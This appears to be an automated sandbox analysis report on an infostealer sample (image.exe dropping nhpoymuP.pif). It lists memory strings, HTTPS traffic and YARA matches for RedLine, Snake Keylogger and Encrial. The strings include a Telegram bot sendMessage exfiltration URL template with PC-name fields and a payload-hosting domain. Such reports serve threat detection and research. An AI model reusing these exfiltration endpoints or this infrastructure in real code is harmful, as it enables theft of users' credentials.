0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20a
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CCF000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FDE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260E1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=en
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: image.exe, 00000000.00000002.1741511764.0000000020BDD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://fodoknotel.za.com/233_Pumyophnre
            Source: image.exe, 00000000.00000002.1741511764.0000000020BF3000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1711881761.000000000084B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fodoknotel.za.com/233_Pumyophnrer
            Source: image.exe, 00000000.00000002.1711881761.000000000084B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fodoknotel.za.com/d
            Source: image.exe, 00000000.00000002.1711881761.000000000089A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fodoknotel.za.com:443/233_Pumyophnrerhv
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027B74000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027B7F000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025F24000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025F94000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org
            Source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025F24000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025F94000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027B74000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027B7F000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027B2F000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025F4E000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025F94000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C9D000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028CC5000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028AEC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C4F000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028DA6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028EE6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270D4000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000272F6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270AD000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FDE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000271B5000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000026EFC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.000000002705F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E9E000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C56000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028D81000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028CA0000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028AC7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C2B000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.000000002703B000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027191000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027066000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000272AE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000026ED7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270B0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C9D000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028CC5000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028AEC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C4F000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028DA6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028EE6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270D4000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000272F6000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270AD000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FDE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000271B5000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000026EFC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.000000002705F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E9E000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C56000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028D81000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028CA0000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028AC7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028C2B000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.000000002703B000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027191000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027066000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000272AE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000026ED7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.00000000270B0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260E1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CCA000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.office.com/lB
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
            Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
            Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
            Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
            Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
            Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
            Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
            Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
            Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
            Source: unknownHTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.4:49731 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49765 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49772 version: TLS 1.2

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 3.1.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 14.1.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 14.1.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 3.1.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 7.1.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.1.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 3.2.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
            Source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
            Source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
            Source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables with potential process hoocking Author: ditekSHen
